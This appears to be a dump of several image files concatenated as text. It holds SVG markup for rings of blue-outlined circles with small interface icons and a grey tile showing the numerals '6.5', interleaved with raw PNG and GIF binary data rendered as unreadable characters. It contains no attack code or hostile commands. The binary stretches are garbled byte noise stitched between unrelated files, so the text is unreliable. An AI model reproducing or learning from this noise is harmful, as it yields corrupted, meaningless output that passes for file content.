<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M175.066 153.268c0 31.617 25.63 57.247 57.246 57.247 31.617 0 57.247-25.63 57.247-57.247 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M171.934 169.516c0 31.616 25.63 57.246 57.246 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M165.79 184.873c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M156.847 198.79c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M145.432 210.759c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M131.961 220.359c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M116.904 227.227c0 31.616 25.63 57.246 57.247 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.617 0-57.247 25.63-57.247 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M100.836 231.124c0 31.617 25.63 57.247 57.246 57.247 31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M84.314 231.917c0 31.616 25.63 57.246 57.246 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M67.938 229.565c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M52.303 224.151c0 31.617 25.63 57.247 57.246 57.247 31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M37.976 215.883c0 31.616 25.63 57.246 57.246 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.617-25.63-57.247-57.246-57.247-31.617 0-57.247 25.63-57.247 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M25.473 205.048c0 31.616 25.63 57.246 57.247 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M15.247 192.045c0 31.617 25.63 57.247 57.246 57.247 31.617 0 57.247-25.63 57.247-57.247 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M7.67 177.343c0 31.616 25.63 57.246 57.245 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M3.008 161.469c0 31.617 25.63 57.247 57.247 57.247 31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M1.517 145.797c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246ZM131.954 69.648c0 31.617 25.63 57.247 57.247 57.247 31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246Z"/>
<path fill="#3858E9" fill-rule="evenodd" d="M48.6 137.5h17a.5.5 0 0 1 .5.5v10.357l-2.978-2.895a.75.75 0 0 0-1.046 0l-5.57 3.472-2.928-1.897a.75.75 0 0 0-.85.024l-4.629 2.646V138a.5.5 0 0 1 .5-.5Zm-.5 14.064V155a.5.5 0 0 0 .5.5h17a.5.5 0 0 0 .5-.5v-4.597l-.024.024-3.477-3.381-5.477 3.381a.749.749 0 0 1-.93.091l-2.996-1.941-5.097 2.987ZM46.6 138a2 2 0 0 1 2-2h17a2 2 0 0 1 2 2v17a2 2 0 0 1-2 2h-17a2 2 0 0 1-2-2v-17Z" clip-rule="evenodd"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M131.954 220.359c0 31.616 25.63 57.246 57.247 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246Z"/>
<path fill="#3858E9" fill-rule="evenodd" d="M189.085 231.51c-.609 1.147-1.023 2.08-1.023 2.08l-5.222-19.745 17.705 10.057s-1.052.088-2.357.31c-1.565.266-3.496.725-5.411 2.453-1.921 1.733-2.951 3.448-3.692 4.845Zm-.533-2.112c.223-.372.459-.744.702-1.096.452-.654 1.994-2.337 2.589-2.811.636-.506 2.479-1.85 3.243-2.094.4-.128.817-.24 1.231-.338l-11.12-6.001 3.355 12.34Z" clip-rule="evenodd"/>
<path fill="#3858E9" d="M188.599 71.5v10h1.5v-10h10V70h-10V60h-1.5v10h-10v1.5h10Z"/>
</g>
<defs>
<clipPath id="a">
<path fill="#fff" d="M290.401 0v290H.599V0z"/>
</clipPath>
</defs>
</svg>
PNG

   
IHDR         8<  hIDAT(SMSA.8p	݀#q4UU-4|^Apܟ03Uuw PK	@e0RJ9c1l_9c964ncT5,"`~]PmL&>{J<GKcUOpN;Bڌy2ﯺ\{5iԓ/W],CSІ@AWUkoE0wsV˗]>xˡ±T~7
#4۰Qlp"֥b&"*up8k(
M;NӔRM?xza3B8@hgdЄ64$K,B    IENDB`GIF89a   ڳ   !   ,      @[Hruڹ6f]Eu%3ڒ'7=2l@H xde MJoSYm\&L"k7+nko3i: ;<svg width="280" height="280" viewBox="0 0 280 280" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M0 16C0 7.16344 7.16344 0 16 0H264C272.837 0 280 7.16344 280 16V264C280 272.837 272.837 280 264 280H16C7.16344 280 0 272.837 0 264V16Z" fill="#EDEDED"/>
<path d="M97.5341 176.994C94.054 176.971 90.6567 176.367 87.3423 175.183C84.0279 173.976 81.045 172.023 78.3935 169.324C75.742 166.601 73.6349 162.991 72.0724 158.493C70.5099 153.971 69.7405 148.372 69.7642 141.696C69.7642 135.47 70.4271 129.918 71.7528 125.041C73.0786 120.164 74.9844 116.045 77.4702 112.683C79.956 109.298 82.9508 106.717 86.4545 104.942C89.982 103.166 93.9238 102.278 98.2798 102.278C102.849 102.278 106.897 103.178 110.425 104.977C113.976 106.777 116.84 109.239 119.018 112.364C121.196 115.465 122.546 118.969 123.067 122.875H110.105C109.442 120.081 108.081 117.856 106.021 116.199C103.985 114.518 101.405 113.678 98.2798 113.678C93.2372 113.678 89.3546 115.867 86.6321 120.247C83.9332 124.627 82.572 130.64 82.5483 138.287H83.0455C84.2055 136.204 85.7088 134.416 87.5554 132.925C89.402 131.433 91.4853 130.285 93.8054 129.48C96.1491 128.652 98.6231 128.237 101.227 128.237C105.489 128.237 109.312 129.255 112.697 131.291C116.107 133.327 118.805 136.133 120.794 139.707C122.783 143.259 123.765 147.33 123.741 151.923C123.765 156.705 122.676 161.002 120.474 164.814C118.273 168.602 115.207 171.585 111.277 173.763C107.347 175.941 102.766 177.018 97.5341 176.994ZM97.4631 166.341C100.044 166.341 102.352 165.714 104.388 164.459C106.424 163.204 108.034 161.511 109.217 159.381C110.401 157.25 110.981 154.859 110.957 152.207C110.981 149.603 110.413 147.248 109.253 145.141C108.116 143.034 106.542 141.365 104.53 140.134C102.518 138.902 100.221 138.287 97.6406 138.287C95.723 138.287 93.9356 138.654 92.2784 139.388C90.6212 140.122 89.1771 141.14 87.946 142.442C86.715 143.72 85.7443 145.212 85.0341 146.916C84.3475 148.597 83.9924 150.396 83.9688 152.314C83.9924 154.847 84.5843 157.179 85.7443 159.31C86.9044 161.44 88.5024 163.145 90.5384 164.423C92.5743 165.702 94.8826 166.341 97.4631 166.341ZM138.68 176.781C136.526 176.781 134.679 176.024 133.141 174.509C131.602 172.993 130.844 171.147 130.868 168.969C130.844 166.838 131.602 165.015 133.141 163.5C134.679 161.985 136.526 161.227 138.68 161.227C140.764 161.227 142.575 161.985 144.114 163.5C145.676 165.015 146.469 166.838 146.493 168.969C146.469 170.413 146.09 171.727 145.357 172.911C144.646 174.094 143.699 175.041 142.516 175.751C141.356 176.438 140.077 176.781 138.68 176.781ZM182.028 176.994C177.294 176.994 173.056 176.107 169.315 174.331C165.575 172.532 162.604 170.07 160.402 166.945C158.224 163.82 157.064 160.245 156.922 156.22H169.706C169.943 159.203 171.233 161.642 173.577 163.536C175.92 165.406 178.738 166.341 182.028 166.341C184.609 166.341 186.905 165.749 188.918 164.565C190.93 163.382 192.516 161.736 193.676 159.629C194.836 157.522 195.404 155.119 195.381 152.42C195.404 149.674 194.824 147.236 193.641 145.105C192.457 142.974 190.835 141.305 188.776 140.098C186.716 138.867 184.348 138.251 181.673 138.251C179.495 138.228 177.353 138.63 175.246 139.459C173.139 140.287 171.47 141.376 170.239 142.726L158.342 140.773L162.142 103.273H204.33V114.281H173.044L170.949 133.564H171.375C172.724 131.978 174.63 130.664 177.092 129.622C179.554 128.557 182.253 128.024 185.189 128.024C189.592 128.024 193.522 129.066 196.979 131.149C200.435 133.209 203.158 136.05 205.146 139.672C207.135 143.294 208.129 147.437 208.129 152.101C208.129 156.907 207.017 161.192 204.791 164.956C202.589 168.696 199.524 171.644 195.594 173.798C191.688 175.929 187.166 176.994 182.028 176.994Z" fill="#1E1E1E"/>
</svg>
PNG

   
IHDR      `   c   PLTELiqf9FGL<r5|	OJKƂWJJLc    O   GIOfQx
   Jd
   I~I   GfJ GKJFPOG   BPeFbǂG IdHJJfb:rFJIM^IfORe[<rfff{JbeI{f`eIfVPdfB~ FfIG KOfVdPffFR`X;r<r=sIFIf=sDJ(L]'K^'K^Y]MAzY?uX|Rse݈g얾ڮܲ޼ⁱ鋷͝իљӄH]PVߦajԆˢKxhY\vokuĘqzB|}Dnê   tRNS ,%
>	MKF)]2
']ܯ; "-T	UJ..?3LKi׀t쀿}߲6A;ƭ@؋̀˹j:7Ey|%fSS~1
fjNߕc:  IDATxy|ם-ŶR߷c;vb;nӍvqI4mMm>8!I@ 	mm~y
{#x,Z4K^._4sj 3T.n/k
Ōgju"/00i4fyT8Pa
/!rQno+]
W&T3uF$+{y!ZkjeTSW_[SBg?'i@	"=LFAQ83@OLZP
?A=!ӂ#U+R~ʟ
\IkS^*T24_// ̩Խ#EyGԔI!eP~V1>\s	9
ϗYҪ3\(cs.3SfU5;~5knu-w-(QT$2 2F@m9b'#dAQhQ?WW.Nt3B`nE8H$:F@ƚclrt鐁 QT#AOc6X-ITj'pG
uΩ)'U 
ssK9W=ȡZ.?JP\,H4, oREn daѦɆ.`&hyB{PVh(+TE`30;+woZumvۚ5w5;1mn|˪Mw~ K(G׍յbH 1Ų<?3\j
Md8CApY-9HNL&C#@	D7z}e:4Dwׯy;
guF^[hQ\uYA#-L-z dz|zF:@?ЭDy=)NuBk=GUfN,2k>~gdSgK\.V(犆Y`+
X`*4ȃ4B>W$3BaD

--@"*)PiS 9Baa0Fc%J30#o'm<[s}jRޫ8GώzP:&Y8'+0@M"WrC%WhNPScùBҏqgu惄 +Kc<Fl*-v?܇o9\~=o~w+X禕_PVo-&l|m	STQO_q"&yE	q_#˵)^rB CsmFL5CcweQC0c#`[anMAy
{Aek*Ք{<[(O={ѭI;|5]D,x/)v30^p|E z~}-"9{t*^g-9P	ypU`KVVhK^?X`3A37
mX>Q=FQLWyQZbz̘4Ii&8q[ocJm`lXc``7Sn=d0촀&@[Qth"2&@K@7%)E >X,8-x<pb:ߋx\L2#H\1`ԴтD 7k,@B:	A(P1DLK!:ZՁ1Tْc!ZIghfj qmO\ 6Zu`mnl۶y3yժMه%JƒǞ8MrǖLK/F76o	z@
C?6C]	]9~KyAtsuZKhqKmx]
apĉ^a"&p0Mh	Y@߆Sm<a]cRjFt1Cce[n_B$Uiޘ)Fr^Wz!Z yx9(IXv]A:|q'r?]t2 bҀҘ`4] ((N2v{6`{']@Ē	6l@.0vp>mT&°8?6I(V
k2A|6rZ!=-E=#A/U&΂6b_#)FbRYTF$DIP.Wȿn߲ 4еY{Þ`a/]j[6[}+_տqo|k7o
pM7Ƃ7)6(QbVϻg;o>']|{3{VR6)]VC4@55nw{Ww
G]Cj
kuu]yp/^#	sj{I@X"vjr9ŒRk>>T"Up$N@ ^P+ؒ~?1
R_V#"X&i4dJ0X!3	SHjCEICISĞ GLɐS[ըWEW+tAv3,G"v0EMTQ
%!8펇Ԋz"Y_WnNu
&Y9
P(}U۳g^¼=Ӳ~_'v-;c;g<HJjC%T %De"`*+
"@7z_A9@V+K45Է
D\-f5GhqjOXp8aO#@-F$"v"%b8)9BS^7
{feCgg{,gh$a$LXk7i;Whq k-	;	#[?8	ᛘ5A-v(u0pXAq#ZbuáKPP̬R8B!ZQ[pqmn}16`樿C۠Pi2T
ZXxw8IAٽ2Nň_l1p b3WEU[kx3	י/DXviǳ]Vw	+q@fC>k۳+[<ĀOcDE &#."Ժ] SMrn#1bds3W~""9,Bk'~=3kZgOA*,\&UT1]gNv{wv?G
:aOts&9@d)BbFb{#{Y	i#umm&
;y0F*%Z8Z1ndQ&p:VuQndGժ?@[=Ȳp7H-2<fJ͠[Ȫr
p#k'!R2d[!Cllޭ$(59EUa'2F	
p#`M>Ƭz| Hڝl_ ͕͏)<ηyW?ż(zZ%ZVkݺV(2HT8rn
|'ʡyQ-<(4_U|J.§ӗp\lƊg:(;x6$SQxW*6c+腺	{zR\AƸr׫#
7&b=ۃW<<
6Љ7%Ē6+4 NCbKT#Kq膹)ǯ_毨{RKw9գ{=fOkl~?޺mF	K>˯?~cTDSU4'I)t:ȟeiw]		(0W"3wa o*^;9	5]h	0f4u%?C뇨|Ȃ$=[QvxxNhOԗC)i[ٯ@P)oP5U".ƥ[/*@Ӆ.򍇟=[[7߬8tȑ3>u7)/_X<~Z    IENDB`<svg width="291" height="290" viewBox="0 0 291 290" fill="none" xmlns="http://www.w3.org/2000/svg">
<g clip-path="url(#a)">
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M145.5 288.965c31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.617 0-57.247 25.63-57.247 57.247 0 31.616 25.63 57.246 57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M129.031 287.393c31.617 0 57.247-25.63 57.247-57.247 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.617 25.63 57.247 57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M113.158 282.732c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M98.456 275.154c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246 0 31.616 25.63 57.246 57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M85.453 264.928c31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.247 25.63-57.247 57.247 0 31.616 25.63 57.246 57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M74.626 252.425c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M66.35 238.099c31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.617 25.63 57.247 57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M60.944 222.464c31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M58.584 206.087c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M59.377 189.566c31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246 0 31.617 25.63 57.247 57.247 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M63.274 173.497c31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M70.15 158.441c31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.617 0-57.247 25.63-57.247 57.247 0 31.616 25.63 57.246 57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M79.742 144.97c31.617 0 57.247-25.63 57.247-57.247 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.617 25.63 57.247 57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M91.71 133.554c31.617 0 57.247-25.63 57.247-57.246 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246 0 31.616 25.63 57.246 57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M105.628 124.612c31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.617 25.63 57.247 57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M120.985 118.467c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246 0 31.616 25.63 57.246 57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M137.233 115.335c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246 0 31.616 25.63 57.246 57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M153.768 115.335c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M170.016 118.467c31.617 0 57.247-25.63 57.247-57.246 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M185.373 124.612c31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246 0 31.617 25.63 57.247 57.247 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M199.29 133.554c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M211.258 144.97c31.617 0 57.247-25.63 57.247-57.247 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.617 25.63 57.247 57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M220.859 158.441c31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M227.727 173.497c31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.247 25.63-57.247 57.247 0 31.616 25.631 57.246 57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M231.624 189.566c31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.617 25.63 57.247 57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M232.417 206.087c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246 0 31.616 25.63 57.246 57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M230.065 222.464c31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.617 0-57.247 25.63-57.247 57.247 0 31.616 25.63 57.246 57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M224.651 238.099c31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.617 25.63 57.247 57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M216.382 252.425c31.617 0 57.247-25.63 57.247-57.246 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M205.548 264.928c31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M192.545 275.154c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M177.843 282.732c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M161.969 287.393c31.617 0 57.247-25.63 57.247-57.247 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.617 25.63 57.247 57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M145.5 288.965c31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247 0 31.616 25.63 57.246 57.246 57.246ZM70.149 158.447c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246 0 31.616 25.63 57.246 57.247 57.246ZM220.859 158.447c31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246 0 31.616 25.63 57.246 57.246 57.246Z"/>
<path fill="#3858E9" fill-rule="evenodd" d="M212.015 100.276 218.306 94l1.059 1.063-6.291 6.276a.249.249 0 0 0-.001.353l6.294 6.31-1.063 1.059-6.294-6.31a1.75 1.75 0 0 1 .005-2.475Zm21.642 0L227.365 94l-1.059 1.063 6.292 6.276a.25.25 0 0 1 .001.353l-6.295 6.31 1.063 1.059 6.294-6.31a1.75 1.75 0 0 0-.004-2.475ZM147.5 224.5h-11a.5.5 0 0 0-.5.5v16a.5.5 0 0 0 .5.5h11v-17Zm1.5 0h3.5a.5.5 0 0 1 .5.5v16a.5.5 0 0 1-.5.5H149v-17Zm-12.5-1.5h16a2 2 0 0 1 2 2v16a2 2 0 0 1-2 2h-16a2 2 0 0 1-2-2v-16a2 2 0 0 1 2-2Z" clip-rule="evenodd"/>
<path fill="#3858E9" d="M69.5 102.5v10H71v-10h10V101H71V91h-1.5v10h-10v1.5h10Z"/>
</g>
<defs>
<clipPath id="a">
<path fill="#fff" d="M.5 0h290v289.802H.5z"/>
</clipPath>
</defs>
</svg>
GIF87a
   qqqwww|||~~~kkk   ,    
  @:IgiaqX1&!id"ڜΣbH,*L@l!AA ;GIF89a  ; lll[[[~~~ssspppmmmyyyccc|||iii^^^vvveee]]]fff```uuuˎ               !  ; ,      @pg(
2j!PCQ4"nπ.(BbrPzDN	~-B-P41-B-J;	WBG-"2P0/6Q-I;n$P+P"-B-,(*5(#-B)-3%8# -)B;A ;GIF89a 
 
          !  
 ,     
 @bRG"B dHCa L0P`v OB<vƨD:5R+UN+Crh NqP,
  ;PNG

   
IHDR        ;w   PLTELiq#&26=a@R^GQZ|J<oPAWT&8K_MVER?a=e_ge@y?cmYGqq^S*>B|X],@Q\T@^A[sS(>KXK%#JJ^X1urQAI:]V4'>P)BJzzA!3F0NW`~k^GXE*g1}gNWN.B}con[P-|~~_\/#qaa4t|Pr{YҜժbYGٌεܿ^unL渹j%.KЄ[0G̓Š׹鳿∺ꮙԻ칟v⛙ŎB+/[{Īg`@ƣ6^2ݤlתssqĻѵԙnӚ4G1___͓}ڷ;,=`XKP׹ہ}㯪.@m?nhߞj<έtګV`wȧCښc״H|UoʊgM{vޝ7ЁMޒ_7Ō1~{Jq|^ҮoPĲxrځioX~TZШΓoB8W{,   GtRNS $1F%Z?s谻K6KikS̀mqS\~Q  -
IDATxOSYq0][c2%H&0&;k2J!ҡ61m%RE2$
ȊD(y
[ bxs[+[wܝ~KKh?=%!uRH*{ESРs8kPh3wI2/[ (H%X##<i ݔhno#-֥|wvL_R(Q!ۻ/*%2=rR^&V|EWDӎDz];])ȋ#aa0d!Аi0 b36]<
B:]1,-ܽNá'*gٞJ'#;QzRVz"_t`Y_lcnv}&\NW_
,ddT,P\M
>h(4l]Gb.DM!nuih_xrYiHIxLl>@qL'sedhvy%'&E=0J|~M,-ĭ8c&KV[h`X5Cj)d3ЪS*
Vۭ>OQg>ۍ0(PVa@VWh:zg0/!Tyޞ''MCM%%|MO݃dFi4:zJY\n'2=j4LGi4,a
Uנ*VAw,HMA}M&óaJdv'=2gt=\V)Aۭh.z$.&dz%$T.zWvEȇU{+wmSX{Z,A=hhĠ<0f9M(s|6ڰkhrpMB }pa4kppIQa^E
jα,,kX!Sf!.|VCJyj[8́rt/},lo|Iz,XǗXdWT<^r'Xe4|A8 e11CncCm*4;c!{%C${K&PK !4M2<$laiɃ-X[Khx6X,
ũ.Ɛ\	d~|`omnp?!49>!gQ0V*480p1F$jMO8/a@[ؤ6
l1FS"ݾP K7	CC59ݐAod@&R)Һ"$OIAPSz6'-B
2=XX&cv}j-B1a0وIFXF7ca?0f;4(dZx, 
o&Ldqo!ʀ[%>d=25CX92bp4>_ubboOIǰ."Z. U_|tUnVlJ3^:<ݭD7	:V66ZpDx`(looZZT8&A<0=4z2/![ o'>gNi҂_H2UfDQ65)Gnqd
